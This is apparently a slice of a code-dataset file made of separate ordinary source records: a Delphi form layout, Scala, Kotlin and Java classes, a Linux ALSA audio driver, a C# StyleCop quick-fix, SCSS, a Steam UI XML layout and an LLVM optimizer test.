Panel5Edit1: TEdit\n Touch.InteractiveGestures = [igLongTap, igDoubleTap]\n TabOrder = 1\n Text = 'Edit'\n Position.X = 35.000000000000000000\n Position.Y = 66.000000000000000000\n Width = 122.000000000000000000\n Height = 21.000000000000000000\n HelpType = htKeyword\n KillFocusByReturn = False\n OnChange = OnControlChange\n end\n object Panel5Edit2: TEdit\n Touch.InteractiveGestures = [igLongTap, igDoubleTap]\n TabOrder = 2\n Text = 'Edit'\n Position.X = 35.000000000000000000\n Position.Y = 111.000000000000000000\n Width = 122.000000000000000000\n Height = 21.000000000000000000\n HelpType = htKeyword\n KillFocusByReturn = False\n OnChange = OnControlChange\n end\n end\n object Panel6: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 202.000000000000000000\n Position.Y = 202.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 5\n object TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'ListBox <-> Edit'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel6ListBox1: TListBox\n Height = 87.000000000000000000\n HelpType = htKeyword\n Position.X = 30.000000000000000000\n Position.Y = 74.000000000000000000\n TabOrder = 1\n Width = 130.000000000000000000\n ItemIndex = 0\n ItemHeight = 19.000000000000000000\n DefaultItemStyles.ItemStyle = ''\n DefaultItemStyles.GroupHeaderStyle = ''\n DefaultItemStyles.GroupFooterStyle = ''\n OnChange = Panel6ListBox1Change\n object TListBoxItem\n Height = 19.000000000000000000\n IsSelected = True\n Text = 'lb one'\n Width = 126.000000000000000000\n end\n object TListBoxItem\n Height = 19.000000000000000000\n Position.Y = 19.000000000000000000\n Text = 'lb two'\n Width = 126.000000000000000000\n end\n object TListBoxItem\n Height = 19.000000000000000000\n Position.Y = 38.000000000000000000\n Text = 'lb three'\n Width = 126.000000000000000000\n end\n end\n object Panel6Edit1: TEdit\n Touch.InteractiveGestures = [igLongTap, igDoubleTap]\n TabOrder = 2\n Text = 'text'\n Position.X = 45.000000000000000000\n Position.Y = 37.000000000000000000\n Width = 100.000000000000000000\n Height = 21.000000000000000000\n HelpType = htKeyword\n KillFocusByReturn = False\n OnChange = OnControlChange\n end\n object Panel6CheckBox1: TCheckBox\n Height = 19.000000000000000000\n Position.X = 8.000000000000000000\n Position.Y = 168.000000000000000000\n TabOrder = 3\n Text = 'Active'\n Width = 120.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n end\n object Panel7: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 402.000000000000000000\n Position.Y = 202.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 6\n object TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'ComboBox -> Label'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel7ComboBox1: TComboBox\n DisableFocusEffect = False\n Height = 23.000000000000000000\n HelpType = htKeyword\n ItemIndex = 3\n ItemHeight = 19.000000000000000000\n Position.X = 24.000000000000000000\n Position.Y = 38.000000000000000000\n TabOrder = 1\n Width = 148.000000000000000000\n OnChange = Panel7ComboBox1Change\n end\n object Panel7Label1: TLabel\n Height = 18.000000000000000000\n HelpType = htKeyword\n Position.X = 40.000000000000000000\n Position.Y = 106.000000000000000000\n StyleLookup = 'valuelabelstyle'\n TextAlign = taCenter\n Width = 117.000000000000000000\n end\n object Panel7CheckBox1: TCheckBox\n Height = 17.000000000000000000\n Position.X = 16.000000000000000000\n Position.Y = 168.000000000000000000\n TabOrder = 3\n Text = 'Active'\n Width = 105.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n end\n object Panel8: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 602.000000000000000000\n Position.Y = 202.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 7\n object TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'TrackBar -> ProgressBar'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel8TrackBar1: TTrackBar\n Height = 20.000000000000000000\n HelpType = htKeyword\n Orientation = orHorizontal\n Position.X = 40.000000000000000000\n Position.Y = 43.000000000000000000\n TabOrder = 1\n Width = 100.000000000000000000\n OnChange = OnControlChange\n end\n object Panel8ProgressBar1: TProgressBar\n Height = 17.000000000000000000\n HelpType = htKeyword\n Orientation = orHorizontal\n Position.X = 16.000000000000000000\n Position.Y = 104.000000000000000000\n Width = 164.000000000000000000\n end\n object Panel8CheckBox1: TCheckBox\n Height = 19.000000000000000000\n Position.X = 16.000000000000000000\n Position.Y = 168.000000000000000000\n TabOrder = 3\n Text = 'Active'\n Width = 120.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n end\n object Panel9: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 2.000000000000000000\n Position.Y = 402.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 8\n object ValueLabel3: TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = 'Calendar ->'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel9Calendar1: TCalendar\n ClipChildren = False\n Date = 40478.000000000000000000\n Height = 164.000000000000000000\n HelpType = htKeyword\n Position.X = 8.000000000000000000\n Position.Y = 27.000000000000000000\n TabOrder = 1\n Width = 182.000000000000000000\n OnChange = OnControlChange\n end\n end\n object Panel10: TPanel\n Align = alLeft\n Height = 196.000000000000000000\n HelpType = htKeyword\n Padding.Left = 5.000000000000000000\n Padding.Top = 5.000000000000000000\n Padding.Right = 5.000000000000000000\n Padding.Bottom = 5.000000000000000000\n Margins.Left = 2.000000000000000000\n Margins.Top = 2.000000000000000000\n Margins.Right = 2.000000000000000000\n Margins.Bottom = 2.000000000000000000\n Position.X = 202.000000000000000000\n Position.Y = 402.000000000000000000\n Width = 196.000000000000000000\n TabOrder = 9\n object Panel10Edit1: TEdit\n Touch.InteractiveGestures = [igLongTap, igDoubleTap]\n TabOrder = 0\n Text = '10/27/2010'\n Position.X = 27.000000000000000000\n Position.Y = 105.000000000000000000\n Width = 149.000000000000000000\n Height = 21.000000000000000000\n HelpType = htKeyword\n KillFocusByReturn = False\n OnChange = OnControlChange\n end\n object Panel10Label1: TLabel\n Height = 38.000000000000000000\n HelpType = htKeyword\n Position.X = 27.000000000000000000\n Position.Y = 46.000000000000000000\n Text = 'Label'\n TextAlign = taCenter\n Width = 149.000000000000000000\n end\n object ValueLabel4: TLabel\n Align = alTop\n Height = 15.000000000000000000\n HelpType = htKeyword\n Position.X = 5.000000000000000000\n Position.Y = 5.000000000000000000\n Text = '<- Text Controls'\n TextAlign = taCenter\n Width = 186.000000000000000000\n end\n object Panel10CheckBox1: TCheckBox\n Height = 19.000000000000000000\n Position.X = 16.000000000000000000\n Position.Y = 160.000000000000000000\n TabOrder = 3\n Text = 'Active'\n Width = 120.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n end\n end\n end\n object Panel5CheckBox: TCheckBox\n Height = 19.000000000000000000\n Position.X = 16.000000000000000000\n Position.Y = 448.000000000000000000\n TabOrder = 1\n Text = 'Active'\n Width = 120.000000000000000000\n OnChange = Panel1CheckBox1Change\n end\n object BindingsList1: TBindingsList\n Methods = <>\n OutputConverters = <>\n Left = 32\n Top = 24\n object Panel1TrackerEditExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel1Edit1\n SourceComponent = Panel1TrackBar1\n FormatExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = 'Value'\n Direction = dirBidirectional\n end\n item\n ControlExpression = 'Owner.Panel1Label1.Text'\n SourceExpression = 'Value'\n end>\n ClearExpressions = <\n item\n ControlExpression = '0'\n SourceExpression = 'Value'\n Direction = dirControlToSource\n end>\n NotifyOutputs = False\n end\n object Panel2TrackerExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel2Tracker2\n SourceComponent = Panel2Tracker1\n FormatExpressions = <\n item\n ControlExpression = 'Value'\n SourceExpression = 'Value'\n Direction = dirBidirectional\n end\n item\n ControlExpression = 'Owner.Panel2Label1.Text'\n SourceExpression = 'Value'\n end>\n ClearExpressions = <\n item\n ControlExpression = '0'\n SourceExpression = 'Value'\n Direction = dirControlToSource\n end>\n NotifyOutputs = False\n end\n object Panel3LabelEditExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel3Label1\n SourceComponent = Panel3Edit1\n FormatExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = 'Text'\n end>\n ClearExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = '\"\"'\n end>\n NotifyOutputs = False\n end\n object Panel4NumberBoxLabelExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel4Label1\n SourceComponent = Panel4NumberBox1\n FormatExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = 'Value'\n end>\n ClearExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = #39#39\n end>\n NotifyOutputs = False\n end\n object Panel5EditExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel5Edit2\n SourceComponent = Panel5Edit1\n FormatExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = 'Text'\n Direction = dirBidirectional\n end>\n ClearExpressions = <\n item\n ControlExpression = 'Text '\n SourceExpression = '\"\"'\n end\n item\n ControlExpression = '\"\"'\n SourceExpression = 'Text'\n Direction = dirControlToSource\n end>\n NotifyOutputs = False\n end\n object Panel6EditListBoxExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel6Edit1\n SourceComponent = Panel6ListBox1\n FormatExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = 'Selected.Text'\n Direction = dirBidirectional\n end>\n ClearExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = '\"\"'\n end>\n NotifyOutputs = False\n end\n object Panel7ComboBoxLabelExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel7Label1\n SourceComponent = Panel7ComboBox1\n FormatExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = 'SelectedText(Self)'\n end>\n ClearExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = '\"\"'\n end>\n NotifyOutputs = False\n end\n object Panel8TrackBarProgressBarExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel8ProgressBar1\n SourceComponent = Panel8TrackBar1\n FormatExpressions = <\n item\n ControlExpression = 'Value'\n SourceExpression = 'Value'\n end>\n ClearExpressions = <\n item\n ControlExpression = 'Value'\n SourceExpression = '0'\n end>\n NotifyOutputs = False\n end\n object Panel9CalendarTextControlExpressions: TBindExprItems\n Category = 'Binding Expressions'\n ControlComponent = Panel10Edit1\n SourceComponent = Panel9Calendar1\n FormatExpressions = <\n item\n ControlExpression = 'Text'\n SourceExpression = 'Date'\n Direction = dirBidirectional\n end\n item\n ControlExpression = 'Owner.Panel10Label1.Text'\n SourceExpression = 'Date'\n end>\n ClearExpressions = <\n item\n ControlExpression = 'Owner.Panel10Label1.Text'\n SourceExpression = '\"\"'\n end>\n NotifyOutputs = False\n end\n end\nend\n"} {"text": "package tofu\npackage config\n\nimport cats.instances.string._\nimport cats.instances.int._\nimport cats.{Order, Show}\n\nsealed trait Key\nobject Key {\n final case class Index(i: Int) extends Key\n final case class Prop(name: String) extends Key\n final case class Variant(name: String) extends Key\n\n implicit val show: Show[Key] = {\n case Index(i) => s\"[$i]\"\n case Prop(name) => s\"$name\"\n case Variant(name) => s\"#$name#\"\n }\n\n implicit val order: Order[Key] = data.instances.order.derive\n\n}\n"} {"text": "/*\n * Copyright (c) 2018-2019. data2viz sàrl.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage io.data2viz.shape\n\n//import io.data2viz.math.Angle\nimport kotlin.math.PI\n\n\nval epsilon = 1e-12\nval pi = PI\nval halfPi = pi / 2\nval tau = 2 * pi\n\nfun acos(x: Double) = if (x > 1.0) 0.0 else if (x < -1) pi else kotlin.math.acos(x)\nfun asin(x: Double) = if (x >= 1.0) halfPi else if (x <= -1.0) -halfPi else kotlin.math.asin(x)\n\n//fun acos(a: Angle) = if (a.rad > 1.0) 0.0 else if (a.rad < -1) pi else a.acos\n//fun asin(a: Angle) = if (a.rad >= 1.0) halfPi else if (a.rad <= -1.0) -halfPi else a.asin"} {"text": "/*\n * SoC audio driver for EM-X270, eXeda and CM-X300\n *\n * Copyright 2007, 2009 CompuLab, Ltd.\n *\n * Author: Mike Rapoport <mike@compulab.co.il>\n *\n * Copied from tosa.c:\n * Copyright 2005 Wolfson Microelectronics PLC.\n * Copyright 2005 Openedhand Ltd.\n *\n * Authors: Liam Girdwood <lrg@slimlogic.co.uk>\n * Richard Purdie <richard@openedhand.com>\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the\n * Free Software Foundation; either version 2 of the License, or (at your\n * option) any later version.\n *\n */\n\n#include <linux/module.h>\n#include <linux/moduleparam.h>\n#include <linux/device.h>\n\n#include <sound/core.h>\n#include <sound/pcm.h>\n#include <sound/soc.h>\n\n#include <asm/mach-types.h>\n#include <mach/audio.h>\n\nstatic struct snd_soc_dai_link em_x270_dai[] = {\n\t{\n\t\t.name = \"AC97\",\n\t\t.stream_name = \"AC97 HiFi\",\n\t\t.cpu_dai_name = \"pxa2xx-ac97\",\n\t\t.codec_dai_name = \"wm9712-hifi\",\n\t\t.platform_name = \"pxa-pcm-audio\",\n\t\t.codec_name = \"wm9712-codec\",\n\t},\n\t{\n\t\t.name = \"AC97 Aux\",\n\t\t.stream_name = \"AC97 Aux\",\n\t\t.cpu_dai_name = \"pxa2xx-ac97-aux\",\n\t\t.codec_dai_name = \"wm9712-aux\",\n\t\t.platform_name = \"pxa-pcm-audio\",\n\t\t.codec_name = \"wm9712-codec\",\n\t},\n};\n\nstatic struct snd_soc_card em_x270 = {\n\t.name = \"EM-X270\",\n\t.owner = THIS_MODULE,\n\t.dai_link = em_x270_dai,\n\t.num_links = ARRAY_SIZE(em_x270_dai),\n};\n\nstatic struct platform_device *em_x270_snd_device;\n\nstatic int __init em_x270_init(void)\n{\n\tint ret;\n\n\tif (!(machine_is_em_x270() || machine_is_exeda()\n\t || machine_is_cm_x300()))\n\t\treturn -ENODEV;\n\n\tem_x270_snd_device = platform_device_alloc(\"soc-audio\", -1);\n\tif (!em_x270_snd_device)\n\t\treturn -ENOMEM;\n\n\tplatform_set_drvdata(em_x270_snd_device, &em_x270);\n\tret = platform_device_add(em_x270_snd_device);\n\n\tif (ret)\n\t\tplatform_device_put(em_x270_snd_device);\n\n\treturn ret;\n}\n\nstatic void __exit em_x270_exit(void)\n{\n\tplatform_device_unregister(em_x270_snd_device);\n}\n\nmodule_init(em_x270_init);\nmodule_exit(em_x270_exit);\n\n/* Module information */\nMODULE_AUTHOR(\"Mike Rapoport\");\nMODULE_DESCRIPTION(\"ALSA SoC EM-X270, eXeda and CM-X300\");\nMODULE_LICENSE(\"GPL\");\n"} {"text": "/* (c) 2020 Open Source Geospatial Foundation - all rights reserved\n * This code is licensed under the GPL 2.0 license, available at the root\n * application directory.\n */\n\n/* Copyright (c) 2013 - 2017 Boundless - http://boundlessgeo.com All rights reserved.\n * This code is licensed under the GPL 2.0 license, available at the root\n * application directory.\n */\npackage org.geoserver.gsr.translate.feature;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\nimport net.sf.json.JSONObject;\nimport org.geoserver.catalog.FeatureTypeInfo;\nimport org.geoserver.gsr.model.feature.*;\nimport org.geoserver.gsr.model.geometry.*;\nimport org.geoserver.gsr.translate.geometry.AbstractGeometryEncoder;\nimport org.geoserver.gsr.translate.geometry.GeometryEncoder;\nimport org.geotools.feature.FeatureCollection;\nimport org.geotools.feature.FeatureIterator;\nimport org.geotools.feature.FeatureTypes;\nimport org.opengis.feature.GeometryAttribute;\nimport org.opengis.feature.Property;\nimport org.opengis.feature.type.FeatureType;\nimport org.opengis.feature.type.PropertyDescriptor;\n\npublic class FeatureEncoder {\n\n public static final String OBJECTID_FIELD_NAME = \"objectid\";\n\n private FeatureEncoder() {\n throw new RuntimeException(\n \"Feature encoder has only static methods, no need to instantiate it.\");\n }\n\n /**\n * Get an {@link AttributeList} from a {@link org.opengis.feature.Feature}\n *\n * @param feature\n * @param objectIdFieldName\n * @return the list of feature attributes\n */\n public static Map<String, Object> attributeList(\n org.opengis.feature.Feature feature, String objectIdFieldName) {\n GeometryAttribute geometryAttribute = feature.getDefaultGeometryProperty();\n Map<String, Object> attributes = new HashMap<>();\n for (Property prop : feature.getProperties()) {\n if (prop.getValue() != null\n && (geometryAttribute == null\n || !prop.getName().equals(geometryAttribute.getName()))) {\n final Object value;\n if (prop.getValue() instanceof java.util.Date) {\n value = ((java.util.Date) prop.getValue()).getTime();\n } else if (prop.getValue() instanceof java.lang.Boolean) {\n value = ((Boolean) prop.getValue()) ? Integer.valueOf(1) : Integer.valueOf(0);\n } else {\n value = prop.getValue().toString();\n }\n attributes.put(prop.getName().getLocalPart(), value);\n }\n }\n\n if (objectIdFieldName != null) {\n attributes.put(objectIdFieldName, toGSRObjectId(feature.getIdentifier().getID()));\n }\n\n return attributes;\n }\n\n public static Feature fromJson(JSONObject json) {\n Geometry geometry = GeometryEncoder.jsonToGeometry(json.getJSONObject(\"geometry\"));\n Map<String, Object> attributes = new HashMap<>();\n JSONObject jsonAttributes = json.getJSONObject(\"attributes\");\n\n for (Object key : jsonAttributes.keySet()) {\n attributes.put((String) key, jsonAttributes.get(key));\n }\n\n return new Feature(geometry, attributes, json.get(\"id\"));\n }\n\n public static Feature feature(\n org.opengis.feature.Feature feature,\n boolean returnGeometry,\n SpatialReference spatialReference) {\n return feature(\n feature, returnGeometry, spatialReference, FeatureEncoder.OBJECTID_FIELD_NAME);\n }\n\n public static Feature feature(\n org.opengis.feature.Feature feature,\n boolean returnGeometry,\n SpatialReference spatialReference,\n String objectIdFieldName) {\n return feature(\n feature,\n returnGeometry,\n spatialReference,\n objectIdFieldName,\n new GeometryEncoder());\n }\n\n public static Feature feature(\n org.opengis.feature.Feature feature,\n boolean returnGeometry,\n SpatialReference spatialReference,\n String objectIdFieldName,\n AbstractGeometryEncoder geometryEncoder) {\n GeometryAttribute geometryAttribute = feature.getDefaultGeometryProperty();\n Map<String, Object> attributes = FeatureEncoder.attributeList(feature, objectIdFieldName);\n if (returnGeometry) {\n return new Feature(\n geometryEncoder.toRepresentation(\n (org.locationtech.jts.geom.Geometry) geometryAttribute.getValue(),\n spatialReference),\n attributes,\n feature.getIdentifier().getID());\n } else {\n return new Feature(null, attributes, feature.getIdentifier().getID());\n }\n }\n\n public static Field field(PropertyDescriptor field, Boolean featureIsEditable) {\n // Similar to LayerListResource encodeSchemaProperties\n // Similar to FeatureEncoder descriptorToJson.\n\n FieldTypeEnum fieldType = FieldTypeEnum.forClass(field.getType().getBinding());\n Integer fieldLength = FeatureTypes.getFieldLength(field);\n Boolean editable;\n\n // String, Date, GlobalID, GUID and XML\n switch (fieldType) {\n case STRING:\n case DATE:\n case GUID:\n case GLOBAL_ID:\n case XML:\n fieldLength = fieldLength == -1 ? 4000 : fieldLength;\n editable = featureIsEditable;\n break;\n case GEOMETRY:\n fieldLength = null;\n editable = featureIsEditable;\n break;\n default:\n // length and editable are optional\n fieldLength = null;\n editable = null;\n }\n return new Field(\n field.getName().getLocalPart(),\n fieldType,\n field.getName().toString(),\n fieldLength,\n editable,\n field.isNillable());\n }\n\n public static <T extends FeatureType, F extends org.opengis.feature.Feature>\n FeatureIdSet objectIds(FeatureCollection<T, F> features) {\n\n // TODO: Advertise \"real\" identifier property\n\n List<Long> objectIds = new ArrayList<>();\n try (FeatureIterator<F> iterator = features.features()) {\n while (iterator.hasNext()) {\n F feature = iterator.next();\n objectIds.add(toGSRObjectId(feature.getIdentifier().getID()));\n }\n }\n return new FeatureIdSet(\n OBJECTID_FIELD_NAME, objectIds.stream().mapToLong(i -> i).toArray());\n }\n\n public static final Pattern FEATURE_ID_PATTERN = Pattern.compile(\"(^(?:.*\\\\.)?)(\\\\p{Digit}+)$\");\n\n /**\n * Converts a GeoTools FeatureId of the form $NAME.$ID to a ESRI-compatible long value by\n * removing the $NAME prefix using {@link FeatureEncoder#FEATURE_ID_PATTERN}\n *\n * @param featureId\n * @return\n */\n public static Long toGSRObjectId(String featureId) {\n Matcher matcher = FEATURE_ID_PATTERN.matcher(featureId);\n if (matcher.matches()) {\n return Long.parseLong(matcher.group(2));\n } else {\n return (long) featureId.hashCode();\n }\n }\n\n /**\n * Converts a long id generated using {@link #toGSRObjectId(String)} back to a GeoTools\n * FeatureId.\n *\n * @param objectId the generated id\n * @param idPrefix the prefix to prepend\n * @return\n */\n public static String toGeotoolsFeatureId(Long objectId, String idPrefix) {\n return idPrefix + objectId.toString();\n }\n\n /**\n * Converts a long id generated using {@link #toGSRObjectId(String)} back to a GeoTools\n * FeatureId.\n *\n * @param objectId the generated id\n * @param targetFeature The target featuretype of the id, used to calculate the prefix\n * @return\n * @throws IOException\n */\n public static String toGeotoolsFeatureId(Long objectId, FeatureTypeInfo targetFeature)\n throws IOException {\n return toGeotoolsFeatureId(objectId, calculateFeatureIdPrefix(targetFeature));\n }\n\n /**\n * Calculates the geotools id prefix,\n *\n * @param targetFeature\n * @return\n * @throws IOException\n */\n public static String calculateFeatureIdPrefix(FeatureTypeInfo targetFeature)\n throws IOException {\n org.opengis.feature.Feature sampleFeature = null;\n String featureIdPrefix = \"\";\n try (FeatureIterator i =\n targetFeature.getFeatureSource(null, null).getFeatures().features()) {\n if (i.hasNext()) {\n sampleFeature = i.next();\n String fid = sampleFeature.getIdentifier().getID();\n\n Matcher matcher = FeatureEncoder.FEATURE_ID_PATTERN.matcher(fid);\n if (matcher.matches()) {\n featureIdPrefix = matcher.group(1);\n }\n }\n }\n return featureIdPrefix;\n }\n\n /**\n * ESRI JS relies heavily on the object ID field, whereas in GeoServer this concept is a little\n * vaguer.\n *\n * @param objectIdFieldName\n * @return\n */\n public static Field syntheticObjectIdField(String objectIdFieldName) {\n Field idField = new Field(objectIdFieldName, FieldTypeEnum.OID, objectIdFieldName);\n return idField;\n }\n}\n"} {"text": "// --------------------------------------------------------------------------------------------------------------------\n// <copyright file=\"SA1503QuickFix.cs\" company=\"http://stylecop.codeplex.com\">\n// MS-PL\n// </copyright>\n// <license>\n// This source code is subject to terms and conditions of the Microsoft \n// Public License. A copy of the license can be found in the License.html \n// file at the root of this distribution. If you cannot locate the \n// Microsoft Public License, please send an email to dlr@microsoft.com. \n// By using this source code in any fashion, you are agreeing to be bound \n// by the terms of the Microsoft Public License. You must not remove this \n// notice, or any other, from this software.\n// </license>\n// <summary>\n// QuickFix - SA1503.\n// </summary>\n// --------------------------------------------------------------------------------------------------------------------\nnamespace StyleCop.ReSharper.QuickFixes.Layout\n{\n using System.Collections.Generic;\n\n using JetBrains.ReSharper.Feature.Services.Bulbs;\n using JetBrains.ReSharper.Feature.Services.QuickFixes;\n\n using StyleCop.ReSharper.BulbItems.Readability;\n using StyleCop.ReSharper.QuickFixes.Framework;\n using StyleCop.ReSharper.Violations;\n\n /// <summary>\n /// QuickFix - SA1503.\n /// </summary>\n //// [ShowQuickFix]\n [QuickFix]\n public class SA1503QuickFix : StyleCopQuickFixBase\n {\n /// <summary>\n /// Initializes a new instance of the SA1503QuickFix class that can \n /// handle <see cref=\"StyleCopHighlighting\"/>.\n /// </summary>\n /// <param name=\"highlight\">\n /// <see cref=\"StyleCopHighlighting\"/>that has been detected.\n /// </param>\n public SA1503QuickFix(StyleCopHighlighting highlight)\n : base(highlight)\n {\n }\n\n /// <summary>\n /// Initializes the QuickFix with all the available BulbItems that can fix the current\n /// StyleCop Violation.\n /// </summary>\n protected override void InitialiseBulbItems()\n {\n this.BulbItems = new List<IBulbAction>\n {\n new FormatLineBulbItem\n {\n DocumentRange = this.Highlighting.CalculateRange(), \n Description = \"Format line : \" + this.Highlighting.ToolTip\n }\n };\n }\n }\n}"} {"text": ".discussion {\n background-color: #ECF0F1;\n .discussion-card {\n background-color: #FFFFFF;\n margin: 20px 0 20px;\n padding: 10px;\n }\n h3 {\n margin: 20px 0 10px;\n size: 18 px;\n font-family: 'Open Sans', sans-serif;\n font-weight: 400;\n line-height: 1.1;\n color: #363838;\n }\n .author-avatar {\n width: 50px;\n margin-top: 10px;\n }\n .upvoted {\n color: #2ABB9C;\n }\n .downvoted {\n color: #D97A7B;\n }\n\n .description-text {\n font-size:15px;\n margin-top: 35px;\n font-family: 'Open Sans Light', sans-serif;\n text-align:justify;\n color: #989c9e;\n line-height: 25px;\n min-height: 100px;\n }\n\n .discussion-sidebar {\n background-color: #FFFFFF;\n margin: 20px 0 20px;\n padding: 20px;\n h5 {\n margin: 10px 0 10px;\n size: 18 px;\n font-family: 'Open Sans', sans-serif;\n font-weight: 400;\n line-height: 1.1;\n color: #363838;\n }\n\n }\n\n\n}\n\n.preview-pane {\n padding: 6px 12px;\n}\np {\n overflow-wrap: break-word;\n}\n"} {"text": "<root>\n\t<styles>\n\t\t<include src=\"file://{resources}/styles/steamstyles.css\" />\n\t\t<include src=\"file://{resources}/styles/music/music_filter_artists.css\" />\n\t</styles>\n\t\n\t<MusicFilterAlbums class=\"MusicFilterArtists\" defaultfocus=\"ArtistSearchInput\" ondescendantfocus=\"AsyncEvent( 0.1, GameFilterScrollChildIntoView() );\" rememberchildfocus=\"true\" >\n\t\t<Label class=\"NxTagHeader AlwaysVisible FilterHeader\" text=\"#Music_Filter_Artists_Header\" />\n\t\t<Panel class=\"HorizRule\" />\n\t\t<Panel class=\"FilterWrapper\" selectionpos=\"0,0\" onmoveright=\"None();\" onmoveup=\"None();\" sendchildscrolledintoviewevents=\"true\" >\n\n\t\t\t<Button id=\"clearFiltersButton\" class=\"NxFilterButton\" onactivate=\"ArtistFilterChanged(clear);\" selectionpos=\"0,-1000\" >\n\t\t\t\t<Image src=\"file://{images}/library/icon_favorite.png\" />\n\t\t\t\t<Label text=\"#Library_ClearButton\" />\n\t\t\t</Button>\n\n\t\t\t<Label id=\"NxNarrowByName\" class=\"NxTagHeader\" text=\"#Library_NameHeader\" />\n\n\t\t\t<TextEntry id=\"ArtistSearchInput\" class=\"ArtistSearchInput\"\n\t\t\t\ttextinputid=\"SearchTextEntry\" selectionpos=\"auto\"\n\t\t\t\ttextinputclass=\"FullWidth AppearFromBottomCenter\" \n\t\t\t\theaderlabel=\"#KeyboardHeader_LibrarySearch\"\n\t\t\t\theaderdetaillabel=\"#KeyboardDetail_SearchResultCount\" >\n\t\t\t\t\t<Label class=\"TextEntryPrompt SearchInputHint\" text=\"#Library_HintSearch\" />\n\t\t\t</TextEntry>\n\n\t\t</Panel>\n\t</MusicFilterAlbums>\n</root>\n"} {"text": "; RUN: opt -ipsccp < %s -S | FileCheck %s\n\ndefine internal {i32, i32} @identity(i32 %patatino) {\n %foo = insertvalue {i32, i32} {i32 1, i32 undef}, i32 %patatino, 1\n ret {i32, i32} %foo\n}\n\n; Check that the return value is not transformed to undef\n; CHECK: define internal { i32, i32 } @identity(i32 %patatino) {\n; CHECK-NEXT: %foo = insertvalue { i32, i32 } { i32 1, i32 undef }, i32 %patatino, 1\n; CHECK-NEXT: ret { i32, i32 } %foo\n; CHECK-NEXT: }\n\n\ndefine {i32, i32} @caller(i32 %pat) {\n %S1 = call {i32, i32} @identity(i32 %pat)\n ret {i32, i32} %S1\n}\n\n; Check that we don't invent values and propagate them.\n; CHECK: define { i32, i32 } @caller(i32 %pat) {\n; CHECK-NEXT: %S1 = call { i32, i32 } @identity(i32 %pat)\n; CHECK-NEXT: ret { i32, i32 } %S1\n; 